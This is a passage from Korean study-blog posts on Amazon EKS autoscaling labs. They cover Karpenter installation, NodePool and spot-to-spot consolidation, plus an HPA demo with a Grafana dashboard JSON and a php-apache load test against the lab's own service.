    - arn:${AWS_PARTITION}:iam::${AWS_ACCOUNT_ID}:policy/KarpenterControllerPolicy-${CLUSTER_NAME}
    roleOnly: true

iamIdentityMappings:
- arn: "arn:${AWS_PARTITION}:iam::${AWS_ACCOUNT_ID}:role/KarpenterNodeRole-${CLUSTER_NAME}"
  username: system:node:{{EC2PrivateDNSName}}
  groups:
  - system:bootstrappers
  - system:nodes

managedNodeGroups:
- instanceType: m5.large
  amiFamily: AmazonLinux2
  name: ${CLUSTER_NAME}-ng
  desiredCapacity: 2
  minSize: 1
  maxSize: 10
  iam:
    withAddonPolicies:
      externalDNS: true
EOF

# eks 배포 확인
eksctl get cluster
eksctl get nodegroup --cluster $CLUSTER_NAME
eksctl get iamidentitymapping --cluster $CLUSTER_NAME
eksctl get iamserviceaccount --cluster $CLUSTER_NAME
eksctl get addon --cluster $CLUSTER_NAME

네임스페이스 및 도메인을 설정하고 kube-ops-view를 설치합니다.

# default 네임스페이스 적용
kubectl ns default

# 노드 정보 확인
kubectl get node --label-columns=node.kubernetes.io/instance-type,eks.amazonaws.com/capacityType,topology.kubernetes.io/zone

# ExternalDNS
MyDomain=<자신의 도메인>
echo "export MyDomain=<자신의 도메인>" >> /etc/profile
MyDomain=gasida.link
echo "export MyDomain=gasida.link" >> /etc/profile
MyDnzHostedZoneId=$(aws route53 list-hosted-zones-by-name --dns-name "${MyDomain}." --query "HostedZones[0].Id" --output text)
echo $MyDomain, $MyDnzHostedZoneId
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/aews/externaldns.yaml
MyDomain=$MyDomain MyDnzHostedZoneId=$MyDnzHostedZoneId envsubst < externaldns.yaml | kubectl apply -f -

# kube-ops-view
helm repo add geek-cookbook https://geek-cookbook.github.io/charts/
helm install kube-ops-view geek-cookbook/kube-ops-view --version 1.2.2 --set env.TZ="Asia/Seoul" --namespace kube-system
kubectl patch svc -n kube-system kube-ops-view -p '{"spec":{"type":"LoadBalancer"}}'
kubectl annotate service kube-ops-view -n kube-system "external-dns.alpha.kubernetes.io/hostname=kubeopsview.$MyDomain"
echo -e "Kube Ops View URL = http://kubeopsview.$MyDomain:8080/#scale=1.5"

노드 모니터링을 위해 새로운 터미널을 띄워 EKS Node Viewer를 실행합니다.

# [터미널1] eks-node-viewer
cd ~/go/bin && ./eks-node-viewer --resources cpu,memory

Karpenter 설치를 위한 변수를 설정하고 echo 명령어를 통해 확인합니다.

# Karpenter 설치를 위한 변수 설정 및 확인
export CLUSTER_ENDPOINT="$(aws eks describe-cluster --name "${CLUSTER_NAME}" --query "cluster.endpoint" --output text)"
export KARPENTER_IAM_ROLE_ARN="arn:${AWS_PARTITION}:iam::${AWS_ACCOUNT_ID}:role/${CLUSTER_NAME}-karpenter"
echo "${CLUSTER_ENDPOINT} ${KARPENTER_IAM_ROLE_ARN}"

Karpenter가 직접 EC2 Fleet API를 사용하므로 Service Linked Role이 생성되어 있는지 확인합니다.

# EC2 Spot Fleet의 service-linked-role 생성 확인 : 만들어있는것을 확인하는 거라 아래 에러 출력이 정상!
# If the role has already been successfully created, you will see:
# An error occurred (InvalidInput) when calling the CreateServiceLinkedRole operation: Service role name AWSServiceRoleForEC2Spot has been taken in this account, please try a different suffix.
aws iam create-service-linked-role --aws-service-name spot.amazonaws.com || true

Karpenter 설치를 위해 기존에 설치되어 있던 도커와 Helm에서 로그아웃을 해야 합니다.

# docker logout : Logout of docker to perform an unauthenticated pull against the public ECR
docker logout public.ecr.aws

# helm registry logout
helm registry logout public.ecr.aws

공식문서는 Pod Identity add-on으로 설치를 하지만 실습에서는 배포 시 IAM Role 에러가 발생하여 IRSA를 사용하여 설치합니다. API에서 변경된 내용이 있으니 확인하시기 바랍니다.

# karpenter 설치
helm install karpenter oci://public.ecr.aws/karpenter/karpenter --version "${KARPENTER_VERSION}" --namespace "${KARPENTER_NAMESPACE}" --create-namespace \
  --set "serviceAccount.annotations.eks\.amazonaws\.com/role-arn=${KARPENTER_IAM_ROLE_ARN}" \
  --set "settings.clusterName=${CLUSTER_NAME}" \
  --set "settings.interruptionQueue=${CLUSTER_NAME}" \
  --set controller.resources.requests.cpu=1 \
  --set controller.resources.requests.memory=1Gi \
  --set controller.resources.limits.cpu=1 \
  --set controller.resources.limits.memory=1Gi \
  --wait
 
# 확인
kubectl get-all -n $KARPENTER_NAMESPACE
kubectl get all -n $KARPENTER_NAMESPACE
kubectl get crd | grep karpenter

# APi 변경
v1alpha5/Provisioner → v1beta1/NodePool
v1alpha1/AWSNodeTemplate → v1beta1/EC2NodeClass 
v1alpha5/Machine → v1beta1/NodeClaim

그라파나를 통해 모니터링을 하기 위해 프로메테우스와 그라파나를 설치합니다. 그라파나 접속시 기존 admin 암호가 아닌 출력되는 암호로 로그인해야 합니다.

#
helm repo add grafana-charts https://grafana.github.io/helm-charts
helm repo add prometheus-community https://prometheus-community.github.io/helm-charts
helm repo update
kubectl create namespace monitoring

# 프로메테우스 설치
curl -fsSL https://raw.githubusercontent.com/aws/karpenter-provider-aws/v"${KARPENTER_VERSION}"/website/content/en/preview/getting-started/getting-started-with-karpenter/prometheus-values.yaml | envsubst | tee prometheus-values.yaml
helm install --namespace monitoring prometheus prometheus-community/prometheus --values prometheus-values.yaml

# 그라파나 설치
curl -fsSL https://raw.githubusercontent.com/aws/karpenter-provider-aws/v"${KARPENTER_VERSION}"/website/content/en/preview/getting-started/getting-started-with-karpenter/grafana-values.yaml | tee grafana-values.yaml
helm install --namespace monitoring grafana grafana-charts/grafana --values grafana-values.yaml
kubectl patch svc -n monitoring grafana -p '{"spec":{"type":"LoadBalancer"}}'

# admin 암호
kubectl get secret --namespace monitoring grafana -o jsonpath="{.data.admin-password}" | base64 --decode ; echo

# 그라파나 접속
kubectl annotate service grafana -n monitoring "external-dns.alpha.kubernetes.io/hostname=grafana.$MyDomain"
echo -e "grafana URL = http://grafana.$MyDomain"

Create NodePool(구 Provisioner)

distruption에 설정된 옵션으로 인해 720시간이 지나면 강제로 Karpenter 노드를 삭제하고 신규 인스턴스를 생성해서 항상 최신의 워커 노드 상태를 유지할 수 있습니다.

cat <<EOF | envsubst | kubectl apply -f -
apiVersion: karpenter.sh/v1beta1
kind: NodePool
metadata:
  name: default
spec:
  template:
    spec:
      requirements:
        - key: kubernetes.io/arch
          operator: In
          values: ["amd64"]
        - key: kubernetes.io/os
          operator: In
          values: ["linux"]
        - key: karpenter.sh/capacity-type
          operator: In
          values: ["spot"]
        - key: karpenter.k8s.aws/instance-category
          operator: In
          values: ["c", "m", "r"]
        - key: karpenter.k8s.aws/instance-generation
          operator: Gt
          values: ["2"]
      nodeClassRef:
        apiVersion: karpenter.k8s.aws/v1beta1
        kind: EC2NodeClass
        name: default
  limits:
    cpu: 1000
  disruption:
    consolidationPolicy: WhenUnderutilized
    expireAfter: 720h # 30 * 24h = 720h
---
apiVersion: karpenter.k8s.aws/v1beta1
kind: EC2NodeClass
metadata:
  name: default
spec:
  amiFamily: AL2 # Amazon Linux 2
  role: "KarpenterNodeRole-${CLUSTER_NAME}" # replace with your cluster name
  subnetSelectorTerms:
    - tags:
        karpenter.sh/discovery: "${CLUSTER_NAME}" # replace with your cluster name
  securityGroupSelectorTerms:
    - tags:
        karpenter.sh/discovery: "${CLUSTER_NAME}" # replace with your cluster name
  amiSelectorTerms:
    - id: "${ARM_AMI_ID}"
    - id: "${AMD_AMI_ID}"
#   - id: "${GPU_AMI_ID}" # <- GPU Optimized AMD AMI 
#   - name: "amazon-eks-node-${K8S_VERSION}-*" # <- automatically upgrade when a new AL2 EKS Optimized AMI is released. This is unsafe for production workloads. Validate AMIs in lower environments before deploying them to production.
EOF

# 확인
kubectl get nodepool,ec2nodeclass

Scale up deployment

Karpenter가 적절한 노드의 인스턴스를 생성하고 해당 노드에 파드를 빠르게 배포하는 모습을 확인할 수 있습니다.

# pause 파드 1개에 CPU 1개 최소 보장 할당
cat <<EOF | kubectl apply -f -
apiVersion: apps/v1
kind: Deployment
metadata:
  name: inflate
spec:
  replicas: 0
  selector:
    matchLabels:
      app: inflate
  template:
    metadata:
      labels:
        app: inflate
    spec:
      terminationGracePeriodSeconds: 0
      containers:
        - name: inflate
          image: public.ecr.aws/eks-distro/kubernetes/pause:3.7
          resources:
            requests:
              cpu: 1
EOF

# Scale up
kubectl get pod
kubectl scale deployment inflate --replicas 5
kubectl logs -f -n "${KARPENTER_NAMESPACE}" -l app.kubernetes.io/name=karpenter -c controller
kubectl logs -f -n "${KARPENTER_NAMESPACE}" -l app.kubernetes.io/name=karpenter -c controller | jq '.'

Scale down deployment

Karpenter가 생성했던 인스턴스를 지우고 해당 노드에 있던 데몬셋들이 삭제되는 모습을 확인할 수 있습니다.

# Now, delete the deployment. After a short amount of time, Karpenter should terminate the empty nodes due to consolidation.
kubectl delete deployment inflate && date
kubectl logs -f -n "${KARPENTER_NAMESPACE}" -l app.kubernetes.io/name=karpenter -c controller

Disruption (구 Consolidation)

출처 :https://aws.amazon.com/ko/blogs/compute/applying-spot-to-spot-consolidation-best-practices-with-karpenter/

Expiration 만료 : 기본 720시간(30일) 후 인스턴스를 자동으로 만료하여 강제로 노드를 최신 상태로 유지합니다.
Drift 드리프트 : 구성 변경 사항(NodePool, EC2NodeClass)를 감지하여 필요한 변경 사항을 적용합니다.
Consolidation 통합 : 비용 효율적으로 컴퓨팅을 최적화합니다.
스팟 인스턴스 시작 시 Karpenter는 AWS EC2 Fleet Instance API를 호출하여 NodePool 구성 기반으로 선택한 인스턴스 유형을 전달합니다.
AWS EC2 Fleet Instance API는 시작된 인스턴스 목록과 시작할 수 없는 인스턴스 목록을 즉시 반환하는 API로, 시작할 수 없을 경우 Karpenter는 대체 용량을 요청하거나 워크로드에 대한 soft 일정 제약 조건을 제거할 수 있습니다.

출처 :https://aws.amazon.com/ko/blogs/compute/applying-spot-to-spot-consolidation-best-practices-with-karpenter/

Spot-to-Spot Consolidation에는 주문형 통합과 다른 접근 방식이 필요했습니다. 온디맨드 통합의 경우 규모 조정 및 최저 가격이 주요 지표로 사용됩니다.
스팟 간 통합이 이루어지려면 Karpenter에는 최소 15개의 인스턴스 유형이 포함된 다양한 인스턴스 구성(연습에 정의된 NodePool 예제 참조)이 필요합니다. 이러한 제약 조건이 없으면 Karpenter가 가용성이 낮고 중단 빈도가 높은 인스턴스를 선택할 위험이 있습니다.

기존 nodepool을 삭제하고 reuse-values 옵션을 사용해서 helm upgrade를 통해 Spot-to-Spot Consolidation를 활성화합니다. 또한 Consolidation 실습을 위해 nodepool과 샘플 파드 5개를 배포하면 c6gd.2xlarge 인스턴스가 생성되어 해당 노드에 5개의 파드가 배포되는 것을 확인할 수 있습니다.

# 기존 nodepool 삭제
kubectl delete nodepool,ec2nodeclass default

# v0.34.0 부터 featureGates 에 spotToSpotConsolidation 활성화로 사용 가능
helm upgrade karpenter -n kube-system oci://public.ecr.aws/karpenter/karpenter --reuse-values --set settings.featureGates.spotToSpotConsolidation=true

# Create a Karpenter NodePool and EC2NodeClass
cat <<EOF > nodepool.yaml
apiVersion: karpenter.sh/v1beta1
kind: NodePool
metadata:
  name: default
spec:
  template:
    metadata:
      labels:
        intent: apps
    spec:
      nodeClassRef:
        name: default
      requirements:
        - key: karpenter.sh/capacity-type
          operator: In
          values: ["spot"]
        - key: karpenter.k8s.aws/instance-category
          operator: In
          values: ["c","m","r"]
        - key: karpenter.k8s.aws/instance-size
          operator: NotIn
          values: ["nano","micro","small","medium"]
        - key: karpenter.k8s.aws/instance-hypervisor
          operator: In
          values: ["nitro"]
  limits:
    cpu: 100
    memory: 100Gi
  disruption:
    consolidationPolicy: WhenUnderutilized
---
apiVersion: karpenter.k8s.aws/v1beta1
kind: EC2NodeClass
metadata:
  name: default
spec:
  amiFamily: Bottlerocket
  subnetSelectorTerms:          
    - tags:
        karpenter.sh/discovery: "${CLUSTER_NAME}" # replace with your cluster name
  securityGroupSelectorTerms:
    - tags:
        karpenter.sh/discovery: "${CLUSTER_NAME}" # replace with your cluster name
  role: "KarpenterNodeRole-${CLUSTER_NAME}" # replace with your cluster name
  tags:
    Name: karpenter.sh/nodepool/default
    IntentLabel: "apps"
EOF
kubectl apply -f nodepool.yaml

# Deploy a sample workload
cat <<EOF > inflate.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: inflate
spec:
  replicas: 5
  selector:
    matchLabels:
      app: inflate
  template:
    metadata:
      labels:
        app: inflate
    spec:
      nodeSelector:
        intent: apps
      containers:
        - name: inflate
          image: public.ecr.aws/eks-distro/kubernetes/pause:3.2
          resources:
            requests:
              cpu: 1
              memory: 1.5Gi
EOF
kubectl apply -f inflate.yaml

watch -d "kubectl get nodes -L karpenter.sh/nodepool -L node.kubernetes.io/instance-type -L topology.kubernetes.io/zone -L karpenter.sh/capacity-type"
kubectl get nodes -L karpenter.sh/nodepool -L node.kubernetes.io/instance-type -L topology.kubernetes.io/zone -L karpenter.sh/capacity-type

파드를 1개로 조정하면 최적화를 진행하는 모습을 확인할 수 있습니다. 인스턴스 타입이 c6gd.large로 최적화되었습니다.

# Scale in a sample workload to observe consolidation
# To invoke a Karpenter consolidation event scale, inflate the deployment to 1. Run the following command:
kubectl scale --replicas=1 deployment/inflate
kubectl -n kube-system logs -l app.kubernetes.io/name=karpenter --all-containers=true -f --tail=20
kubectl get nodes -L karpenter.sh/nodepool -L node.kubernetes.io/instance-type -L topology.kubernetes.io/zone -L karpenter.sh/capacity-type
kubectl get node --label-columns=eks.amazonaws.com/capacityType,karpenter.sh/capacity-type
kubectl get node --label-columns=node.kubernetes.io/instance-type,topology.kubernetes.io/zone

# Use kubectl get nodeclaims to list all objects of type NodeClaim and then describe the NodeClaim Kubernetes resource
# using kubectl get nodeclaim/<claim-name> -o yaml. 
# In the NodeClaim .spec.requirements, you can also see the 15 instance types passed to the Amazon EC2 Fleet API:
kubectl get nodeclaims 
NAME            TYPE        ZONE              NODE                                                READY   AGE
default-w52c4   c6g.large   ap-northeast-2d   ip-192-168-77-172.ap-northeast-2.compute.internal   True    3m8s

kubectl get nodeclaims -o yaml | kubectl neat | yh

[AEWS] AutoScaling

imxsuu — Mon, 1 Apr 2024 17:58:14 +0900

실습환경 준비

실습 환경은 Amazon EKS 원클릭 배포를 통해 배포하였으며 기존의 환경에서 오토 스케일링을 위해 자원이 조금 더 제한된 t3.medium으로 배포되었습니다. 지난 시간에 학습한 프로메테우스와 그라파나의 환경설정 또한 포함되어 있습니다.자세한 CloudFormation의 내용은 링크를 통해 다운받아 확인할 수 있습니다.

curl -O https://s3.ap-northeast-2.amazonaws.com/cloudformation.cloudneta.net/K8S/eks-oneclick4.yaml

EKS Node Viewer 설치

예약된 파드 리소스 요청과 노드의 할당 가능한 용량을 표시합니다. 실제 파드의 리소스 사용량은 확인하지 않습니다. go 버전에 영향을 받으므로 가급적 최신버전 설치가 권장됩니다.

# go 설치
wget https://go.dev/dl/go1.22.1.linux-amd64.tar.gz
tar -C /usr/local -xzf go1.22.1.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
go version
go version go1.22.1 linux/amd64

# EKS Node Viewer 설치 : 약 2분 이상 소요
go install github.com/awslabs/eks-node-viewer/cmd/eks-node-viewer@latest

# [신규 터미널] EKS Node Viewer 접속
cd ~/go/bin && ./eks-node-viewer
혹은
cd ~/go/bin && ./eks-node-viewer --resources cpu,memory

명령 샘플
# Standard usage
./eks-node-viewer

# Display both CPU and Memory Usage
./eks-node-viewer --resources cpu,memory

# Karenter nodes only
./eks-node-viewer --node-selector "karpenter.sh/provisioner-name"

# Display extra labels, i.e. AZ
./eks-node-viewer --extra-labels topology.kubernetes.io/zone

# Specify a particular AWS profile and region
AWS_PROFILE=myprofile AWS_REGION=us-west-2

기본 옵션
# select only Karpenter managed nodes
node-selector=karpenter.sh/provisioner-name

# display both CPU and memory
resources=cpu,memory

Kubernetes Autoscaling Overview

CON324_Optimizing-Amazon-EKS-for-performance-and-cost-on-AWS.pdf 발췌

HPA - Horizontal Pod Autoscaler

kube-ops-view 와 그라파나(17125)를 통해 모니터링을 하며 HPA 실습을 진행합니다. 해당 그라파나의 json은 아래의 더보기를 통해 전체 내용을 확인할 수 있습니다.

{
  "__inputs": [],
  "__requires": [
    {
      "type": "grafana",
      "id": "grafana",
      "name": "Grafana",
      "version": "6.1.6"
    },
    {
      "type": "panel",
      "id": "graph",
      "name": "Graph",
      "version": ""
    },
    {
      "type": "datasource",
      "id": "prometheus",
      "name": "Prometheus",
      "version": "1.0.0"
    },
    {
      "type": "panel",
      "id": "singlestat",
      "name": "Singlestat",
      "version": ""
    }
  ],
  "annotations": {
    "list": [
      {
        "builtIn": 1,
        "datasource": "-- Grafana --",
        "enable": true,
        "hide": true,
        "iconColor": "rgba(0, 211, 255, 1)",
        "name": "Annotations & Alerts",
        "type": "dashboard"
      }
    ]
  },
  "editable": true,
  "gnetId": 17125,
  "graphTooltip": 0,
  "id": null,
  "iteration": 1558717029334,
  "links": [],
  "panels": [
    {
      "cacheTimeout": null,
      "colorBackground": false,
      "colorValue": false,
      "colors": [
        "#299c46",
        "rgba(237, 129, 40, 0.89)",
        "#d44a3a"
      ],
      "datasource": "$datasource",
      "format": "none",
      "gauge": {
        "maxValue": 100,
        "minValue": 0,
        "show": false,
        "thresholdLabels": false,
        "thresholdMarkers": true
      },
      "id": 5,
      "interval": null,
      "links": [],
      "mappingType": 1,
      "mappingTypes": [
        {
          "name": "value to text",
          "value": 1
        },
        {
          "name": "range to text",
          "value": 2
        }
      ],
      "maxDataPoints": 100,
      "nullPointMode": "connected",
      "nullText": null,
      "postfix": "",
      "postfixFontSize": "50%",
      "prefix": "",
      "prefixFontSize": "50%",
      "rangeMaps": [
        {
          "from": "null",
          "text": "N/A",
          "to": "null"
        }
      ],
      "sparkline": {
        "fillColor": "rgba(31, 118, 189, 0.18)",
        "full": false,
        "lineColor": "rgb(31, 120, 193)",
        "show": true
      },
      "tableColumn": "",
      "targets": [
        {
          "expr": "kube_horizontalpodautoscaler_status_desired_replicas{job=\"kube-state-metrics\", namespace=\"$namespace\"}",
          "format": "time_series",
          "intervalFactor": 2,
          "legendFormat": "",
          "refId": "A"
        }
      ],
      "thresholds": "",
      "title": "Desired Replicas",
      "type": "singlestat",
      "valueFontSize": "80%",
      "valueMaps": [
        {
          "op": "=",
          "text": "0",
          "value": "null"
        }
      ],
      "valueName": "current"
    },
    {
      "cacheTimeout": null,
      "colorBackground": false,
      "colorValue": false,
      "colors": [
        "#299c46",
        "rgba(237, 129, 40, 0.89)",
        "#d44a3a"
      ],
      "datasource": "$datasource",
      "format": "none",
      "gauge": {
        "maxValue": 100,
        "minValue": 0,
        "show": false,
        "thresholdLabels": false,
        "thresholdMarkers": true
      },
      "gridPos": {
        "h": 3,
        "w": 6,
        "x": 6,
        "y": 0
      },
      "id": 6,
      "interval": null,
      "links": [],
      "mappingType": 1,
      "mappingTypes": [
        {
          "name": "value to text",
          "value": 1
        },
        {
          "name": "range to text",
          "value": 2
        }
      ],
      "maxDataPoints": 100,
      "nullPointMode": "connected",
      "nullText": null,
      "postfix": "",
      "postfixFontSize": "50%",
      "prefix": "",
      "prefixFontSize": "50%",
      "rangeMaps": [
        {
          "from": "null",
          "text": "N/A",
          "to": "null"
        }
      ],
      "sparkline": {
        "fillColor": "rgba(31, 118, 189, 0.18)",
        "full": false,
        "lineColor": "rgb(31, 120, 193)",
        "show": true
      },
      "tableColumn": "",
      "targets": [
        {
          "expr": "kube_horizontalpodautoscaler_status_current_replicas{job=\"kube-state-metrics\", namespace=\"$namespace\"}",
          "format": "time_series",
          "intervalFactor": 2,
          "legendFormat": "",
          "refId": "A"
        }
      ],
      "thresholds": "",
      "title": "Current Replicas",
      "type": "singlestat",
      "valueFontSize": "80%",
      "valueMaps": [
        {
          "op": "=",
          "text": "0",
          "value": "null"
        }
      ],
      "valueName": "current"
    },
    {
      "cacheTimeout": null,
      "colorBackground": false,
      "colorValue": false,
      "colors": [
        "#299c46",
        "rgba(237, 129, 40, 0.89)",
        "#d44a3a"
      ],
      "datasource": "$datasource",
      "format": "none",
      "gauge": {
        "maxValue": 100,
        "minValue": 0,
        "show": false,
        "thresholdLabels": false,
        "thresholdMarkers": true
      },
      "gridPos": {
        "h": 3,
        "w": 6,
        "x": 12,
        "y": 0
      },
      "id": 7,
      "interval": null,
      "links": [],
      "mappingType": 1,
      "mappingTypes": [
        {
          "name": "value to text",
          "value": 1
        },
        {
          "name": "range to text",
          "value": 2
        }
      ],
      "maxDataPoints": 100,
      "nullPointMode": "connected",
      "nullText": null,
      "postfix": "",
      "postfixFontSize": "50%",
      "prefix": "",
      "prefixFontSize": "50%",
      "rangeMaps": [
        {
          "from": "null",
          "text": "N/A",
          "to": "null"
        }
      ],
      "sparkline": {
        "fillColor": "rgba(31, 118, 189, 0.18)",
        "full": false,
        "lineColor": "rgb(31, 120, 193)",
        "show": false
      },
      "tableColumn": "",
      "targets": [
        {
          "expr": "kube_horizontalpodautoscaler_spec_min_replicas{job=\"kube-state-metrics\",  namespace=\"$namespace\"}",
          "format": "time_series",
          "intervalFactor": 2,
          "legendFormat": "",
          "refId": "A"
        }
      ],
      "thresholds": "",
      "title": "Min Replicas",
      "type": "singlestat",
      "valueFontSize": "80%",
      "valueMaps": [
        {
          "op": "=",
          "text": "0",
          "value": "null"
        }
      ],
      "valueName": "current"
    },
    {
      "cacheTimeout": null,
      "colorBackground": false,
      "colorValue": false,
      "colors": [
        "#299c46",
        "rgba(237, 129, 40, 0.89)",
        "#d44a3a"
      ],
      "datasource": "$datasource",
      "format": "none",
      "gauge": {
        "maxValue": 100,
        "minValue": 0,
        "show": false,
        "thresholdLabels": false,
        "thresholdMarkers": true
      },
      "gridPos": {
        "h": 3,
        "w": 6,
        "x": 18,
        "y": 0
      },
      "id": 8,
      "interval": null,
      "links": [],
      "mappingType": 1,
      "mappingTypes": [
        {
          "name": "value to text",
          "value": 1
        },
        {
          "name": "range to text",
          "value": 2
        }
      ],
      "maxDataPoints": 100,
      "nullPointMode": "connected",
      "nullText": null,
      "postfix": "",
      "postfixFontSize": "50%",
      "prefix": "",
      "prefixFontSize": "50%",
      "rangeMaps": [
        {
          "from": "null",
          "text": "N/A",
          "to": "null"
        }
      ],
      "sparkline": {
        "fillColor": "rgba(31, 118, 189, 0.18)",
        "full": false,
        "lineColor": "rgb(31, 120, 193)",
        "show": false
      },
      "tableColumn": "",
      "targets": [
        {
          "expr": "kube_horizontalpodautoscaler_spec_max_replicas{job=\"kube-state-metrics\"}",
          "format": "time_series",
          "intervalFactor": 2,
          "legendFormat": "",
          "refId": "A"
        }
      ],
      "thresholds": "",
      "title": "Max Replicas",
      "type": "singlestat",
      "valueFontSize": "80%",
      "valueMaps": [
        {
          "op": "=",
          "text": "0",
          "value": "null"
        }
      ],
      "valueName": "current"
    },
    {
      "aliasColors": {},
      "bars": false,
      "dashLength": 10,
      "dashes": false,
      "datasource": "$datasource",
      "fill": 0,
      "gridPos": {
        "h": 12,
        "w": 24,
        "x": 0,
        "y": 3
      },
      "id": 9,
      "legend": {
        "alignAsTable": false,
        "avg": false,
        "current": false,
        "max": false,
        "min": false,
        "rightSide": false,
        "show": true,
        "total": false,
        "values": false
      },
      "lines": true,
      "linewidth": 1,
      "links": [],
      "nullPointMode": "null",
      "paceLength": 10,
      "percentage": false,
      "pointradius": 5,
      "points": false,
      "renderer": "flot",
      "repeat": null,
      "seriesOverrides": [
        {
          "alias": "Max",
          "color": "#C4162A"
        },
        {
          "alias": "Min",
          "color": "#1F60C4"
        }
      ],
      "spaceLength": 10,
      "stack": false,
      "steppedLine": false,
      "targets": [
        {
          "expr": "kube_horizontalpodautoscaler_status_desired_replicas{job=\"kube-state-metrics\",namespace=\"$namespace\"}",
          "format": "time_series",
          "intervalFactor": 2,
          "legendFormat": "Desired",
          "refId": "B"
        },
        {
          "expr": "kube_horizontalpodautoscaler_status_current_replicas{job=\"kube-state-metrics\",namespace=\"$namespace\"}",
          "format": "time_series",
          "intervalFactor": 2,
          "legendFormat": "Running",
          "refId": "C"
        },
        {
          "expr": "kube_horizontalpodautoscaler_spec_max_replicas{job=\"kube-state-metrics\",namespace=\"$namespace\"}",
          "format": "time_series",
          "instant": false,
          "intervalFactor": 2,
          "legendFormat": "Max",
          "refId": "A"
        },
        {
          "expr": "kube_horizontalpodautoscaler_spec_min_replicas{job=\"kube-state-metrics\",namespace=\"$namespace\"}",
          "format": "time_series",
          "instant": false,
          "intervalFactor": 2,
          "legendFormat": "Min",
          "refId": "D"
        }
      ],
      "thresholds": [],
      "timeFrom": null,
      "timeRegions": [],
      "timeShift": null,
      "title": "Replicas",
      "tooltip": {
        "shared": true,
        "sort": 0,
        "value_type": "individual"
      },
      "type": "graph",
      "xaxis": {
        "buckets": null,
        "mode": "time",
        "name": null,
        "show": true,
        "values": []
      },
      "yaxes": [
        {
          "format": "short",
          "label": null,
          "logBase": 1,
          "max": null,
          "min": null,
          "show": true
        },
        {
          "format": "short",
          "label": null,
          "logBase": 1,
          "max": null,
          "min": null,
          "show": true
        }
      ],
      "yaxis": {
        "align": false,
        "alignLevel": null
      }
    }
  ],
  "refresh": "10s",
  "schemaVersion": 18,
  "style": "dark",
  "tags": [],
  "templating": {
    "list": [
      {
        "current": {
          "text": "Prometheus",
          "value": "Prometheus"
        },
        "hide": 0,
        "includeAll": false,
        "label": null,
        "multi": false,
        "name": "datasource",
        "options": [],
        "query": "prometheus",
        "refresh": 1,
        "regex": "",
        "skipUrlSync": false,
        "type": "datasource"
      },
      {
        "allValue": null,
        "current": {},
        "datasource": "$datasource",
        "definition": "label_values(kube_horizontalpodautoscaler_metadata_generation{job=\"kube-state-metrics\"}, namespace)",
        "hide": 0,
        "includeAll": false,
        "label": "Namespace",
        "multi": false,
        "name": "namespace",
        "options": [],
        "query": "label_values(kube_horizontalpodautoscaler_metadata_generation{job=\"kube-state-metrics\"}, namespace)",
        "refresh": 2,
        "regex": "",
        "skipUrlSync": false,
        "sort": 0,
        "tagValuesQuery": "",
        "tags": [],
        "tagsQuery": "",
        "type": "query",
        "useTags": false
      },
      {
        "allValue": null,
        "current": {},
        "datasource": "$datasource",
        "definition": "label_values(kube_horizontalpodautoscaler_labels{job=\"kube-state-metrics\", namespace=\"$namespace\"}, horizontalpodautoscaler)",
        "hide": 0,
        "includeAll": false,
        "label": "Name",
        "multi": false,
        "name": "horizontalpodautoscaler",
        "options": [],
        "query": "label_values(kube_horizontalpodautoscaler_labels{job=\"kube-state-metrics\", namespace=\"$namespace\"}, horizontalpodautoscaler)",
        "refresh": 2,
        "regex": "",
        "skipUrlSync": false,
        "sort": 0,
        "tagValuesQuery": "",
        "tags": [],
        "tagsQuery": "",
        "type": "query",
        "useTags": false
      }
    ]
  },
  "time": {
    "from": "now-1h",
    "to": "now"
  },
  "timepicker": {
    "refresh_intervals": [
      "5s",
      "10s",
      "30s",
      "1m",
      "5m",
      "15m",
      "30m",
      "1h",
      "2h",
      "1d"
    ],
    "time_options": [
      "5m",
      "15m",
      "1h",
      "6h",
      "12h",
      "24h",
      "2d",
      "7d",
      "30d"
    ]
  },
  "timezone": "",
  "title": "Kubernetes / Horizontal Pod Autoscaler",
  "uid": "alJY6yWZz",
  "version": 10,
  "description": "A quick and simple dashboard for viewing how your horizontal pod autoscaler is doing."
}

CPU 과부하 연산을 수행하는 파드를 배포합니다.

# Run and expose php-apache server
curl -s -O https://raw.githubusercontent.com/kubernetes/website/main/content/en/examples/application/php-apache.yaml
cat php-apache.yaml | yh
kubectl apply -f php-apache.yaml

# 확인
kubectl exec -it deploy/php-apache -- cat /var/www/html/index.php

# 모니터링 : 터미널2개 사용
watch -d 'kubectl get hpa,pod;echo;kubectl top pod;echo;kubectl top node'
kubectl exec -it deploy/php-apache -- top

# 접속
PODIP=$(kubectl get pod -l run=php-apache -o jsonpath={.items[0].status.podIP})
curl -s $PODIP; echo

HPA를 생성하고 그라파나 대시보드를 통해 HPA에 대한 메트릭이 정상적으로 조회되는지 확인합니다.

# Create the HorizontalPodAutoscaler : requests.cpu=200m - 알고리즘
# Since each pod requests 200 milli-cores by kubectl run, this means an average CPU usage of 100 milli-cores.
kubectl autoscale deployment php-apache --cpu-percent=50 --min=1 --max=10
kubectl describe hpa

# HPA 설정 확인
kubectl get hpa php-apache -o yaml | kubectl neat | yh
spec: 
  minReplicas: 1               # [4] 또는 최소 1개까지 줄어들 수도 있습니다
  maxReplicas: 10              # [3] 포드를 최대 5개까지 늘립니다
  scaleTargetRef: 
    apiVersion: apps/v1
    kind: Deployment
    name: php-apache           # [1] php-apache 의 자원 사용량에서
  metrics: 
  - type: Resource
    resource: 
      name: cpu
      target: 
        type: Utilization
        averageUtilization: 50  # [2] CPU 활용률이 50% 이상인 경우

부하 발생 후 오토 스케일링이 되는지 테스트합니다. 증가 시 기본 대기 시간은 30초이며 감소 시 기본 대기 시간은 5분입니다.

# 반복 접속 1 (파드1 IP로 접속) >> 증가 확인 후 중지
while true;do curl -s $PODIP; sleep 0.5; done

# 반복 접속 2 (서비스명 도메인으로 접속) >> 증가 확인(몇개까지 증가되는가? 그 이유는?) 후 중지 >> 중지 5분 후 파드 갯수 감소 확인
# Run this in a separate terminal
# so that the load generation continues and you can carry on with the rest of the steps
kubectl run -i --tty load-generator --rm --image=busybox:1.28 --restart=Never -- /bin/sh -c "while sleep 0.01; do wget -q -O- http://php-apache; done"

반복 접속을 통해 파드의 개수가 계속해서 늘어나지만 7개까지만 가파르게 증가하고 더 이상 증가하지 않는 모습을 보입니다. 이는 파드가 스케일아웃되며 감당해야 할 부하의 총량이 떨어지기 때문에 감당가능한 파드의 개수까지만 증가되고 이후엔 유지하는 모습을 보입니다.

